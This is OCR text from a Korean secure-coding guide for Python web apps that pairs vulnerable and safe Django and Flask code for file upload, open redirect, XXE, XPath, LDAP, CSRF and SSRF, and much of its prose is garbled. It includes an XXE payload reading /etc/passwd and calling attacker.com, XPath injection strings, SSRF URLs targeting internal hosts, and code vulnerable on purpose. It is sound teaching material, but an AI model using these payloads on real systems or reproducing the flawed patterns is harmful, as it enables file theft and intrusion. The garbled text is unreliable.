| Python AIZ0I=E Jt0i=

2. AR
® CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection’), MITRE,
https://cwe.mitre.org/data/definitions/78.html

@ Command Injection, OWASP
https://owasp.org/www-community/attacks/Command_Injection

® 0OS Command Injection Defense Cheat Sheet, OWASP

https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

@ Miscellaneous operating system interfaces — os.system(), Python Software Foundation
https://docs.python.org/3.10/library/os.htmlI?highlight=0s%20system#module—os

® Subprocess management, Python Software Foundation,
https://docs.python.org/ko/3/library/subprocess.html#security—considerations

® Regular expression operations, Python Software Foundation,

https://docs.python.org/3/library/re.html
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7t. ML
[ se 8
{ >
I - -
I i \ 0
O e Ey
HAE S0l Ui Y=c .
™
HAE YRy Sy -‘9
HREH LEds &2 r—i
i
= # M
SH% UZCE H20 FIHAH - J
- L
M Z0IM HYE 2 = AT-E DfUasp, jsp, php, sh Y 5)0] Y2E Jhsotil, 0 IAUS SAX &S SH
E 2UMZE = Us B2, AMLE HRBZENE Lo LE 2[Rt HEGI0 AA”S MO £ U= 2ol

TARPE MY Jkse DU AUl 2T 53 MOINOIA Sting HACR HHE HHAIZ QI4E WOt vIslsls
eval) 842 0142 H:r% —Eﬂ%‘% Ml exec)S 20| S50 02 H4SS SHOR US SO A 4 0f

LY YRE 322 sgwqém $I6HA1 SX I Q0 SISTIEE SO|EAE YAOR I RS MO0 BT,
0|} Tpe| SR} W Y2C B TRle| Content-TypeE 20| HIBILY, T 37| U WA S HBHGI0] AL X2l
T2 502 NHIA 2 B700| HAEIR| UE HEIO0} ST U B TIUE B BE EX ol0) HES] 3
URLS Sol TS Mast + QUES H0F okl 7Hsoi¥ Y2E Si= Iilol of e 2
0|S02 HGI0] HASH 0| OHHILL Eat YRE B LAS W ZLo= & 2

M3 OIS SOI50] ABHSIS AN BiTY,

ARt
xto|

;

iR

40

x|
0] 2rd

ol
=

Ct. F Ol
YSC B MU0 T3t 74, 371, BEK SO R4 HME oK YT IUNAHN XY 2 22 2K 2l
OMTC, 4 TC 5 YF HAO| LAS NAHN YZE T 4 Ut
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WF2TLPRR =

444
N = 9 ©

13

from django.shortcuts import render
from django.core.files.storage import FileSystemStorage

def file_upload(request):
if request.FILES['upload_file:
# MEX=SE Y=E = OfYoj tiolf 45 8101 M&ESL A0
# QITIGHK| QLCt
upload_file = request.FILES[ upload_file']

fs = FileSystemStorage(location="media/screenshot’, base_url='media/screenshot’)

# Y=L oh= MU0 Chet 27|, =, SN S2 43 ofA %2,

filename = fs.save(upload_file.name, upload_file)

return render(request, '/success.html’, {filename"filename})
return render(request, '/error.html’, {error:'IIY HZ= M)

Ol FE= Y2E oh= MU MY I, MY 37|, MY X S5 dAGIH Y=EE Hotslil ULt 21212
o ErRl 12 MIME Efg &015k= 2HOE TI0|S0A SXITE ZAY 4@ HEE SHXIE Sof Y=EE XS
gmg =~ U0 MAUXA|Q| AILIME &2lok= A-EH0|Ct.

10 import os

2.  from django.shortcuts import render

3:  from django.core.files.storage import FileSystemStorage

4:

5. # Y=L ot= OfAO| OHeh 7H=x, 27|, &AL Aigt

6. FILE_COUNT_LIMIT = 5

7. # Y2C St M9 Z|Cf AIO|= X|gt O ) BMB - 5%1024*1024
8. FILE_SIZE_LIMIT = 5242880

91 # ol8ok= A= S0|ERAER H2lGH,

10:  WHITE_LIST_EXT = [

1 Lipg’,

12: "jpegd’

13: ]

14:

15:  def file_upload(request):

16: # o4 i At

17: if len(request.FILES) == 0 or len(request.FILES) ) FILE_COUNT_LIMIT:
18: return render(request, '/error.html’, {'error': T T4 =1t}
19:
20: for filename, upload_file in request.FILES.items():
21: # oY Er ®M3
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22:
23
24:
25
26:
27:
28:
29:
30:
ik
BYK
B8
34:
J5:
36:

if upload_file.content_type |= 'image/jpeg"

return render(request, '/error.html’, {'error: 'Y EtY Q=1
# ot 37| Higt
if upload_file.size ) FILE_SIZE_LIMIT:

return render(request, '/error.html’, {'error: 'MAAO|E FT)
# I SPFEAL A
file_name, file_ext = os.path.splitext(upload_file.name)
if file_ext.lower() not in WHITE_LIST_EXT:

return render(request, '/error.html’, {'error: 'Y EtY Q=51

fs = FileSystemStorage(location="media/screenshot’, base_url = 'media/screenshot’)
for upload_file in request.FILES.values():

fs.save(upload_file.name, upload_file)

return render(request, '/success.html’, {filename": filename})

2t &A=

® CWE-434: Unrestricted Upload of File with Dangerous Type, MITRE,
https://cwe.mitre.org/data/definitions/434.html

@ Unrestricted File Upload, OWASP,
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

® User-uploaded content, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/security/#user-uploaded-content-security
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7. MZIEIX| B2 URLFAZ XSS

7} 7ML

Ef AME AL digE

=

4n

|1

-

i
w

L] L
=
—
n=ad
B e
D) A0IE

]
7|

MNEBAIZEE QT= 242 QEAO[EL ZAZ AIRSI0 XAHEOR HHH= Mt T2J2S I|Al(Phishing) 2Z40]
CERHE FYEE 7 + AT
QHEHOZ Z2I0|AHENA MAE URL FAZ HZS17| IR0 OHMSITIT AiZIst 4 QIOL} BZXM= L Zo| QAS

HASIOZN| ARRAP} QBB URLE M4 4+ UEZ BHS 4 At

Python ZH|YUYT9| redirect S AFR S MOIE SHE DT HFOA LAT{Zl FOFK0| QU=X| SQIGHOF ST},
Flask T|22/39°| Flask-Security-Too 2t0|E2{2|9] HL get_post_logout_redirect 42} get_post_login_redirect
3|:|J\7|' 4.1 0 le'i H'|I‘|01|A'I URL 0_9_ Al’ 9_|6|-J_,_ Al-gxl—% %!9_'9_' URLE E'Il:l 1IA|_=I 32 A %E -’."—IQHS,'O| —f_EXH
StC}

Ly

o
835t= IS URLS MH = S0|ERAER H2|5tD ALK U3 32 2|0/ & URLO| EX5H=X|

[¥

2|C[ANE 5
#AS0H0F Bt

Dok ALSAL U 40| S0IE 2 AEZ 7t 27hSSH 2|CIAM URLS| QIR =2 AZE0{0fTt 5k= BR= BE
2O MM Z2EST} hostngn SOPIA| = ATH URL(relative)S ALZSHOF 31T ZiSsHoF sich = =
URL(absoute URL)2 At2S AR Z|CjAMS MME17| X0 AFRX 22 URLO| https://myhompage.com/ X3

MH|ASI A= URLE )\P&,Fa}:Il% £1015H0} i

A
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Ch. ZE0)A|

CH22 QISR 42 OIMIZ ABXIZRE U B2 url FAE ZE 10| reirect@42| QUIXIE AMESIL UCH 0] B2

AFBAPE Q51| 42 AOIER HZGIEE Sh7{Lt Ti(Phishing)S240 =52 & ACH

obHatx| ot FEQ| o

from django.shortcuts import redirect

def redirect_url(request):
url_string = request.POST.get(url’, ")
# ALXAF =0 ZEHE URL F4AZ 2H0E ol= 32
# Od MOIEZ HELHE=E 5 ABAPL OjY 340 =2 4+ Ut

return redirect(url_string)

o2k =

OS2 Qs IE K2 ABAIZRE FAE YO} redirectdt! U= ZEZ S ZHQI0] ZHEN US =

7| 20 SH0|E 2AEZ A0 FoE QFHSH HAOIEN 2ol redirect & + UES BICY.

oFH3t TE0| o

1: from django.shortcuts import render, redirect
2
3: ALLOW_URL_LIST = [
4: '127.0.0.1',
5 '192.168.0.1",
6: '192.168.0.100',
7: 'https://login.myservice.com',
8: '/notice’
9: ]
10:
11:  def redirect_url(request):
12: url_string = request.POST.get(url’, ")
18
14: # 0l8g & U= URL HYAE HgkotH
15: # fIdet AOIES H2E RiHotd UCt
16: if url_string not in ALLOW_URL_LIST:
17: return render(request, ‘'/error.html’, {ERROR"'SIEZ|X| = FARILICEY)
18:
19: return redirect(url_string)
| 4
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gf. A=

® CWE-601: URL Redirection to Untrusted Site (Open Redirect’), MITRE,
https://cwe.mitre.org/data/definitions/601.html

@ Unvalidated Redirects and Forwards Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

® Django shortcut functions — redirect, Django Sowftware Foundation,
https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/

@ Redirects and Errors, Flask,
https://flask.palletsprojects.com/en/2.0.x/quickstart/#redirects—and-errors
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8. FHECH XML QA% JHHl Ex

t. e
2, OTDH HafE
THY ALY 22
1, ¥ML Requesi 8% ‘3 E
= aw
i _ - E’ [ feicy passeoed ]
—|  — | —
3 8E =8
#41

L% PR AL

feic passwond

2. DTDo EE 2% MEE 2H
—
B2TIS) M

XML 2AM0il= DTD(DocumentTypeDefinition)S E§tst 4= Q1OH, DTD= XML °.l|E|EI(ent|t| )% Mo}, BXMSH
XML 2IEIHH| BX HORFES MO XML QS AE|E

F|orst XML parser?t 2E 72 2ESh= XML 22 XMElg «

— HAZ= =
2O XY AR, Q1F 25|, HE L& S0| wME 4 It

PythonOilAl= ZHEHSH XML HIOJE] 22 BA o Zxiof ALE 4 QU= 712 XML ItA7 HIZECE 0] Tie Q&4
ZIAQL ZHS T XML 7152 XIGHK| GA=C}. 712 MIZEl= XML D= Qi AIEIEIS X|IGHK| QR[S T2 XML 220]

Fost 4 k.

7|2 HEEE A9 7Is 20l T 2 7IS0| 2st R0 Ixmit 22 2{0[=2]=

S MESHA| EI=Et 0] 20[2&=]0fk=
JEHoz ot AEE|S| 2 240] Edst =0 AUC.

—_
2Z MX DTDZE AMSot=E MMold, E0A MEE XML 2410 Z&H= DTDES 2H6HH| HIZHssH0F SiCt. HIZMsiE
2 BIE 40z QAR QEE] ¥ 2R 2N 93 MOAS ZF M| SH= 1RSH WACE H|MS St

QI 2H0|HEEE ABE 3R

ol
ol

[2E02 ol VEIEIO] et T2 24 7152 HBSHEX| Solstn XEe 22 of
ct

7 o
= = oT
IS8 HiZst B 4 Qs WHS S0Isl0) 2R AEIE| T2 2N JI5S Hizst 3t

0| AK8dh= XML IAQ| &t

iy

O

201 [xmle] Z 2 QEE| 712 BN 2
k

StO{0F BICt. ESH 9|F EME Z3[Y If HERS HMAE YX[Sk= no_networ
St040F BiC.

Hi-=

9l resolve_entities M2 H|2Ms}
0| 245KTrue) =0 UEXT &0
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Ct. ZE0A|

thE OiRls XML 225 201 EMok= F=0I0h S Ofeet Z0| XML 2/F HEEIS EZESk= xxe.xml HO[EHE

H&std, 01 M & I /etc/passwd MAS X =+ QO

(?xml version="1.0" encoding="ISO-8859-1"?)
(IDOCTYPE foo [
({IELEMENT foo ANY )
(IENTITY xxe1 SYSTEM "file:///etc/passwd” )
(IENTITY xxe2 SYSTEM "http://attacker.com/text.txt")
D
(foo)y&xxe1;&xxe2;{/foo)

1:  from xml.sax import make_parser

2. from xml.sax.handler import feature_external_ges

3:  from xml.dom.pulldom import parseString, START_ELEMENT
4:  from django.shortcuts import render

5. from .model import comments

6:

7:  def get_xml(request):

8: if request.method == “GET”:

9: data = comments.objects.all()

10: com = data[0].comment

11: return render(request, '/xml_view.html', {'com":com})
12:

13: elif request.method == “POST":

14: parser = make_parser()

15: parser.setFeature(feature_external_ges, True)

16: doc = parseString(request.body.decode(‘utf-8’), parser=parser)
17: for event, node in doc:

18: if event == START_ELEMENT and node.tagName == “foo”:
19: doc.expandNode(node)

20: text = node.toxml()

21: comments.objects.filter(id=1).update(comment=text);
22: return render(request, '/xml_view.html')

XMLS TH 8t of EME

=
oflOF SfC}. fEot HZAE Oi9|

_E\l

IS entities2 HE] F= SMQI resolve_entities 7|5S False(default: True)Z A&
i
=

HEQI HAS U0lFE= no_network 2H2 True(default: True)2 AHSHOF SiCt,
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@F2TSRXEW =

11:
12
188
14:
153
16:
17:
18:
19:
20:
21:

from
from
from
from
from

xml.sax import make_parser

xml.sax.handler import feature_external_ges
xml.dom.pulldom import parseString, START_ELEMENT
django.shortcuts import render

.model import comments

def get_xml(request):

if request.method == “GET":

data = comments.objects.all()
com = data[0].comment

return render(request, '/xml_view.html', {com"com})

elif request.method == “POST”:

parser = make_parser()
parser.setFeature(feature_external_ges, False)
doc = parseString(request.body.decode(‘utf-8’), parser=parser)
for event, node in doc:
if event == START_ELEMENT and node.tagName == “foo”:

doc.expandNode(node)

text = node.toxml()
comments.objects.filter(id=1).update(comment=text);
return render(request, '/xml_view.html’)

et Xtz

® CWE-611: Improper Restriction of XML External Entity Reference, MITRE,

https://cwe.mitre.org/data/definitions/611.html

@ XML External Entity (XXE) Processing, OWASP,

https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_ Processing

® XML External Entity Prevention Cheat Sheet, OWASP,

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

@ XML vulnerabilities, Python Software Foundation,

https://docs.python.org/3/library/xml.html#xml-vulnerabilities

® Ixml API, Ixml library,
https://Ixml.de/api/Ixml.etree. XMLParser-class.html

® PyGoat, OWASP,
https://github.com/adeyosemanputra/pygoat
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9. XML &
/(]

¥path 33 HY &l XML |

T -'_.'I,..'“il 3 ‘ >
= oW Ly @

= —
=
= L |
SEE P HE —
[CETTSE TR
(e |k 1 h—._ﬂ ] M Xpoth 2B
pHET UEE PR (path 2=
R 7€ B3l
‘o' 1'e" “ori1=lor'a’='s 11 * | usar|@mla="admin somanting or “1"="1

ABEX 242 9 YA0| XQuery i XPath H2RS Yot SXIH2 ME0 SHY AR TXZ YoI2
HZHOIT olo] H2AS ASI0] S7ITR| Q2 HIOIEIS FSILL USURIS Q8 + U= HOIOHHo|C,

L} QHMBE A7

—_

XQuery E= XPath #H2|0| AFBEE 2/ =H|0IE0] Tiote] E+2X ¥ #H2| HYHE TEHE St M2t0|E3t
(Parameterized)= 2|22 X|ok= XQueryS AMESICE,

Ct. 2EO0fx|

LIS Ofldl= PythonOliAl XML HIO[EHE X2lst7| I8t 7|2 2=l xml.etree.ElementTreeE 0|23t AL2At HEE
7t™2= WXO|Ct, xml.etree.ElementTree BE2 XISl Xpath 7|52 &5t XpathESAIS OH7HHSS} SHA AL

o= YHES MSoHA| =

1: from Ixml import etree

2:

3. def parse_xml(request):

4: user_name = request.POST.get(user_name', ")

5°

6: parser = etree. XMLParser(resolve_entities=False)

7: tree = etree.parse(user.xml’, parser)

8: root = tree.getroot()

9:

10: # HBEX| fk2 2F UG user_nameE AMESHH

11: # QIMGHK| 242 HOIR0| AME0 queryHS0| KE

12: path = "/collection/users/user[@name=" + user_name + "]/home/text()"
13: elmts = root.xpath(query)

14: return render(request, 'parse_xml.html’, {xml_element'elmts})
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Python 3.3 0|%

HOtMO| 0192 ZX|=l xml.etree.ElementTree 2= A Ixml 2t0|E22|E AtE5tD, 2

o

U2 7SSt SHA ARSSIC.

1: from Ixml import etree

2:

3:  def parse_xml(request):

4: user_name = request.POST.get(user_name’, *)

5

6: parser = etree. XMLParser(resolve_entities=False)

7: tree = etree.parse(user.xml’, parser)

8: root = tree.getroot()

9:

10: query = '/collection/users/user[@name = $paramname]/home/text()'
11: #|2 QUAZZS paramnamelZE DH7HAS3! SHM AR

12: elmts = root.xpath(query, paramname=user_name)

13: return render(request, 'parse_xml.html', {xml_element"elmts})

2t fuAt=

® CWE-643: Improper Neutralization of Data within XPath Expressions (XPath Injection’), MITRE,
https://cwe.mitre.org/data/definitions/643.html

@ XPATH Injection, OWASP,
https://owasp.org/www-community/attacks/XPATH_Injection

® XML vulnerabilities, Python Software Foundation,
https://docs.python.org/3/library/xml.html#xml-vulnerabilities
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10. LDAP &

Vi ]

LDAP Injection

{Mormal Query] +
LDAP INjection Code

{G'LI'BIF","} + “*% =} always true

FU SR+ R AR LS E

AT LDAP M

2 EolM 95HX| 22 LDAP(LightweightDirectoryAccessProtocol) HEE 35t 4
%, g SBEETHO0| ABXPt M3t Ys SHIEA X2loHX| ZotH, 34Xt LDAP ‘?5%‘5°| TEE HE + ULk
HHS AsHsH ATHEQ SUSH HSHPermission)E 7HX|1 SASHA =LY,
2| GlO] LDAP H=|Z0|Lt Zue| URZ AlZot= 42, LDAP #HZ|Z0| HlE If IHX=
LDAP -T‘-IEI 9| LH%‘é o2tz
Pythonlil= Python-ldap ¥ Idap32t= 5 7H2| 2{0[22{2(7} UL}, Idap37t python-Idap ELf O JALHEQI 20|H 22
OICt. Idap3 EE2 Python 2.65E & Python 3 B0 SEHEICE [dap30ilAl= & O PythonZX{Q! WAOZ [ DAPAHH2}
A5 HES £ Us AWE 7I59 FHI AS0| ZEEO AL
python-ldap2 OpenLDAPOIA Tt= Python22| T{7|X|2 Python30|AMe= Idap3 2t0|E2{2|S AtR5H= Z0|
HYELC

CI2 49 324 DROIXI2 LDAP R0l TSt 7= 8ol o] w2 Xust Q@4 2o/,
+ 8H1Z 213Y(Encoding) B8 ARBSI0] BE 4 0]A0|Z(Escape)

P SOIERAE Aol 92 3t REY A

F NS} HlHSet 22 BIYSt HEvt EyE HC ol

=

- LDAP HioIZ) 30| SrEE et 248}
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Cf. ZCOf X
ARBXAIC YHS Hi= LDAP ZOIZ0| Ar8sial UM 0] A ot 45 82 340 &2 = UCh
obst| g2 F of
1: from Idap3 import Connection, Server, ALL
2. from django.shortcuts import render
3:
4:  def ldap_query(request):
By # 2F YHUC= LDAP #2229 QX0 AS 810 AkgotH
6: # QITGEA| QATt.
7: search_keyword = request.POST.get(‘'search_keyword',")
8:
9: dn = server.config['bind_dn']
10: password = server.config['password]
11:
12: address = 'ldap.badSoruce.com'
13: server = Server(address, get_info=ALL)
14: conn = Connection(server, user=dn, password, auto_bind=True )
155
16: # ARBX ™S HHY ofk| Y= 4R SAXS| et 4522
17: # O|0j& £ ATt
18: search_str = '(&(objectclass=%s))' % search_keyword
19:
20: conn.search('dc=company,dc=com', search_str, attributes=['sn’, ‘cn’, 'address’, 'mail’, 'mobile’, 'uid])
21: return render(request, '/ldap_query_response.html’, {Idap":conn.entries})
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ALEXS| Y S LDAP ZOIZ0M A2 HE 0|AH|0|E 510 HOZS 2 Al SH0| 25 A4S e + AT

1: from Idap3 import Connection, Server, ALL

2. from Idap3.utils.conv import escape_filter_chars

3:  from django.shortcuts import render

4:

5. def Idap_query(request):

6: search_keyword = request.POST.get(search_keyword',")

Vi

8: dn = server.config['bind_dn']

9: password = server.config['password]

10:

11: address = 'ldap.goodsource.com'

12: server = Server(address, get_info=ALL)

13: conn = Connection(server, dn, password, auto_bind=True )

14:

15: # AEAQ o] EEES HMEoH 340 MEE + U= =AE

16: # 0|A70|=5te QUCt

17: escpae_keyword = escape_filter_chars(search_keyword)

19: search_str = '(&(objectclass=%s))" % escpae_keyword

20:

21:

22:  conn.search('dc=company,dc=com’, search_str, attributes=['sn’, 'cn’, ‘address’, ‘'mail’, ‘'mobile’, 'uid’])
return render(request, '/ldap_query_response.html’, {|dap":conn.entries})

2t &A=

® CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection’), MITRE,
https://cwe.mitre.org/data/definitions/90.html

@ LDAP Injection Prevention Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_ Sheet.html

® LDAP filter handling, python-Idap project team
https://www.python-ldap.org/en/python-ldap—3.3.0/reference/Idap—filter.html
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11. AZAAN0IE E AX(CSRF)

7} M

23| X
-.\-l’:ﬂh-':‘.- rprﬁﬁl—ﬁ"

hanenea wictim comyboardfnok

scdrmiris m.comBtile=7IgZ

CSAF Asgen - BN MR S
RHE AUEES - LT TE=1Y "
" ~
S .
—
B 4 CSAF AEQET} BYE
AP Hox) 85 AlE K}
MEND apog

R TP 8 MU A Y

S5 UAOIE0] ThalA ARBXIF QIXIHR| 23t AR0IM ALBXIS| Q= 0t STGPH BHAT} O3t HARH, AHH,
52 S)2 6Vl oi= 322 LI B SZTR0| ABKIZRE W QMU oM AIBKYL OIS t2 S8
MEE HOIK| SOIGH| Gi= ZS WA JHSOIT S| oY ASAITH BRIl B ASR: BB, HAIS M, Xt
S2 5 PR BHORD 4 5T JI5S AN AR ABAL 4 Y EC

TR AR QA58 HAO| 53 SHZ FUBIOIE A% QXS0 HAXO QFT} HIHAEO! QHS TR 2
Sh= Hg orgsict

OO 7HE 0| AFESEY = Django T2t Flask TAKINME= 22 CSRF EZ 7|52 XI¥5HD
AOH, Django= {% csrf token %} Ef1E 0|8510] CSRF EZ2 7|5 HIE5t FlaskOM= Flask-WTF &% 210|232
Sl {{form.csrf_token}} EfIE 0|&510f CSRF EZ 7|52 MSSIH EiIE AE5t= ZR QoA AFBE 4 ULt

o 20| XL MEAS] FEHR EXI0| 2ot LFUKIE F=2o17| Aol MHUEBZ CSRFEZE ddoto] MM
MESIL, A ZIAH0|X|IE 23S WOtCt hiddenztz2 SZI0|AEMNAH EZS MET £, shY S2H0|UE] H0|H

X2 Q3 Al MEEE CSRFEZUS HMFol 239 RadsS AAI=E oitt.

Django TR0} Flask T3 0]SYI0I THAYT0N J|=HO=2 CSRF Tokeng AHB3HA CSRF 2
OREE W= JI5S KT UL Y IS ARBSE| YsH formEAT LHSO csrf_tokenS AKBaHOF BiCt
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Ct. IEOA|
71 Django ZHULT At

DjangoZ 3| A 0M= 1.2 HEEE| CSRF FUHS WX7|s2 71222 MBI ULt 0502l CSRF M8
HIZ-E5tHLE RIS csrf_exempt decoratorE AtE%t=s 42, AZAAM0|E 2F X 340 == £+ Ut

* Django O|E9)I0] ME(settings.py) Akl

QFSHX| o2

9 of

ro

MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware',
# MIDDLEWARE SZ0|N csrf =52 AKX L= 4K ofH
# Django UOIA csrf REH HAVE MAXMO=Z HH &
# 'django.middleware.csrf.CsrfViewMiddleware',
‘django.contrib.auth. middleware. AuthenticationMiddleware',
‘django.contrib.messages.middleware. MessageMiddleware',
‘django.middleware.locale.LocaleMiddleware',

PO IFDAG DN

Ctg2 Django?| csrf 7IsS &4stetr| 2ot Tet OIS/ 28 0| OlCt.
OIS0 csrf 7ISS F4, = AM X2| SHX| 40[0F ST |IES! HO|X|0l= csrf_tokens form EHZL Q0| BA|
ofioF DISAAM HEHMOZ csrf 7SS AEY == AU

orHst = of

(=

MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware',
# MIDDLEWARE =Z0|M csrf &=5 &43t ot
‘django.middleware.csrf.CsrfViewMiddleware',
‘django.contrib.auth.middleware.AuthenticationMiddleware',
‘django.contrib.messages.middleware. MessageMiddleware',
‘django.middleware.locale.LocaleMiddleware',

DO ATDRRW =
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re

* Django 5 7ls % (views.py) Al

OIS0l csrf HE 7150] 43t =0 ANT ViewdllM csrfZ|S5S olifl Sh= AR0= o Q&0 aHM csrf A
JlsE MESHA A L.

22 Function-Based ViewllM csrf A4S 7|52 HIEAM3H 5= GIX|0|Ct.

1: from django.shortcuts import render

2. from django.views.decorators.csrf import csrf_exempt

3:

4:  # csrf.exempt HZ0|HZ O|SR00IM ES5= CSRF 7|s2 offAletct.
5.  @csrf.exempt

6: def pay_to_point(request):

7: user_id = request.POST.get(user_id', ")

8: pay = request.POST.get(pay’, ")

9: product_info = request.POST.get(product_info', ")

10:

11: ret = pay(user_id, pay, product_info)

12:

13: return render(request, '/view_wallet.html’, {'wallet"ret})

Django= 7[2X22 CSRF 7[5& ZMiotl X2 RR 7IS0 oM CSRF 7ISS M| SHo0F sk= 2= DISH02|

csrf 7158 ©YXMOZ disable oF7| HLt= OISA02| csrf 7152 &3t 5l Aot 200 CHHMDE csrf_exempt
CIZYO0|HE ALESI0{0fF Sl 0] ZAR0| FZAAN0|E 2F X9l 2 =2 = UQEE FOUE 7|S0{0f SiCt,

1: from django.shortcuts import render

2:  from django.template import RequestContext

3:

40 # csrf_exempt CIZ2|0|EIE AfKISHALE =AX2| G,

5. # @csrf_exempt

6: def pay_to_point(request):

7: user_id = request.POST.get(user_id', ")

8: pay = request.POST.get(pay’, ")

9: product_info = request.POST.get(product_info', ")

10:

11: ret = pay(user_id, pay, product_info)

12

13: return render(request, '/view_wallet.html’, {'wallet"ret})
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* Django HIS= A% Al

OISHO0IA csrf 7|52 23t 510 JIEZR HO|X|0| csrf E2E BAIGIK| 2 42 csrf 2B 7152 AMEE + iCh
QHMSIX| 42 TEQ| of
1: (l==html page-—)
2:  (form action="" method="POST")
3: (I-- form E{1 LHEOf| csrf_token O|XE--)
4: (table)
Bk {{form.as_table}}
6: {/table)
7 Cinput type="submit"/)
8 (/form)
| 4

mjo

OISAOIN csrf 7152 Eatet 20| HES HOIX|MME= csrf_token ZtE BAISIO02t FYXQI csrf HE 7Is

1: (I==html page—-)

2:  (form action="" method="POST")
3 {% csrf_token %} (I--csrf_token Al2-)
4 (table)

5: {{form.as_table}}
6 {/table)

7 {input type="submit"/)
8:  (/form)

|

L}) Flask Z3YYT At

* Flask app A3 Al
Flask® WTF Ii7|X|E AMBSIH CSRF ES 7|HE AL & + UL
Offf OilM| == CSRF MMO| E[X| 22 AEHO|CE

1: from flask import Flask
2:
3: app = Flask(__name_)
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Flask T AT E AISSI0 @ OiE2H 0|42 7155l= 8L, CSRFE UX|5I2{H Flask-WTF extension?
CSRFProtectS AF20liOF SiC}t, app0'|| Mr5te HTML(EIES!) HOo|X|0l= CSRFEZES 715t

otMst FEQ| O

[ Ly

from flask import Flask
from flask_wtf.csrf import CSRFProtect

# CSRF 8% =7t

csrf = CSRFProtect(app)

app = Flask(__name__)

app.config['SECRET_KEY’] = os.environ.get(SECRET_KEY’)
csrf.init_app(app)

YT LAN=

N

* Flask EIZ3] 43 Akl

Q FEXNH &40 CSRF 7|52 &M3} 5t0{= Html IHU0| csrf_tokens HA| 5IX| 22 AL CSRF AHZ 7is2

QFMstX| =2 A= of

{form action="" method="POST")
(I-- form EHZ {20 csrf_token O|IXHE--)
(table)
{{as_table}}
{/table)
{input type="submit"/)
{/form)

S0 L@ =

)|

HE HOIXIM= csrf_token S BABHFEOF X! csrf HE0| SAET,

FlaskForm At Al0l= {{ form.csrf_token H2 HA|oHOF 5t HIES0| FlaskForme ALE3IX| %2 AN = form
EN2 Qtof| hidden input Zt2& {{ csrf_token }} Zt2 HAISHOF St

QFMgt IEO| off

{form action="" method="POST"
{I-= form Ei1 WHEO0| csrf_token HE--)
(input type="hidden" name="csrf_token" value="{{ csrf_token }}" />
(table)
{{table}}
{/table)
(input type="submit'/)
(/form)

YL RRN =

N
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2. AR
® CWE-352: Cross-Site Request Forgery (CSRF), MITRE,
https://cwe.mitre.org/data/definitions/352.html

@ Cross Site Request Forgery (CSRF), OWASP,
https://owasp.org/www-community/attacks/csrf

® Cross-Site Request Forgery Prevention Cheat Sheet, OWASP

https://cheatsheetseries.owasp.org/cheatsheets/Cross—Site_Request_Forgery_Prevention_Cheat_Sheet.html

@ Cross Site Request Forgery protection, Django Software Foundation
https://docs.djangoproject.com/en/3.2/ref/csrf/

® CSRF Protection, WTForms
https://flask-wtf.readthedocs.io/en/0.15.x/csrf/
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12. MHAOIE 2F /X

7l e

=19

1

~

~

2 E5 9UE M2

. EXE B '/3

1. 2N QUE Ma 1'9 . it 24 —

— 1

— —
—

— 3

—

4, oleHx| G2 —

= o A ~

S35 L XS A =

I S 1

™
A H30| ErHEt U MEE XY
HAHSH ZASHEXIE XX L2 ALSKL YHAUS MHZI| QFO| AZ5I0] UQX 01 H|7t Llieh = Q= HOHHO|Ct

AEY o+ A= B UM AESKE| E US TE AAHS MH[A SF0| AI8sts 32, MEAS] ¥ s
=]

SI0|EZ|AE #AOZ THZSIL

ARt X5l 2X9|0] URLS OFSO{0} SITIH LHSO| URLS SHU2AER XIH6I0| LER STt E5t SUsH
LS HEYI0 QUCRIE 717| Q1F, HIHBS &0I5i0] 20| 0|R01E 4 UTE BiLt.
Cf. ZCOf| x|

(1 Y 2= of)

&g &2l F=9| ol
e 59 HH 8= http://sample_site.com/connect?url=http://192.168.0.45/member/list.json
e M Xt
admin H|0|X| MZ
SO MIE Ls/6t0 http://sample_site.com/connect?url=http://sample_site.com:x@192.168.0.45/member/
=L HH 2= list.json
o= URLS 0|28t

http://sample_site.com/connect?url=http://192.168.0.45/admin

http://sample_site.com/connect?url=http://bit.ly/sdjk3kjhkI3

Filter 23]

E 0|2 'IlPE A‘Ig 3 . ) .
U;IH H‘: 28 of http://sample_site.com/connect?url=http://192.168.0.45/member/list.json

Z=oMH 3=

ML O Hgf http://sample_site.com/connect?url=file:///etc/passwd
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tg Gilxl=
CHE MH2| Xtof M2 7HsotA =it

QFHSHR] 42 ZE GIMOICE. 92tQ19] ALEAIZRE YHE URL F2AE &S 80|

ARBoH o|&=5HK| 42

1:  from django.shortcuts import render
2. import requests
3:
4:  def call_third_party_api(request):
Bx addr = request.POST.get('address’, ")
6:
7 # ASAPDL Lot FAE HBoHA| 244l HTTP 282 EUL SES
8: # ARSALOA ghet
9: result = requests.get(addr).text
10: return render(request, '/result.html’, {result"result})
| 4
ISt A== CH3 20| A0 FeE MY 258 HoIst M= URLEH ARBE = JUCEE URL w2 2=
ZEr &~ QiCt
XSt FEO| 0
1: from django.shortcuts import render
2. import requests
3:
4: # 0ol SH0|ERIAEN Hol & &L DNS rebinding 34 S0
5 # EE ™0l AN M| = 4 U= KA CHEH IPE Ao
6: # #d3ok= A0 EH QrXoiLt.
7:  ALLOW_SERVER_LIST = [
8: 'https://127.0.0.1/latest/",
9: ‘https://192.168.0.1/user_data’,
10: ‘https://192.168.0.100/v1/public'
11: ]
12:
13:  def call_third_party_api(request):
14: addr = request.POST.get('address’, ")
iifo%
16: # A8APL Y URLS SO0IEZAER ZABSt & 11 ZuE Bretsto]
17: # AKX U2 FAE QES HUA| Y= HErett).
18: if addr not in ALLOW_SERVER_LIST:
19: return render(request, 'Jerror.html’, {error = 'S{2ZX| L2 AHRILICET)
20:
21: result = requests.get(addr).text
22: return render(request, '/result.html’, {result"result})
| 4
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ol &A=
® CWE-918: Server-Side Request Forgery (SSRF), MITRE
https://cwe.mitre.org/data/definitions/918.html

@ Server Side Request Forgery, OWASP
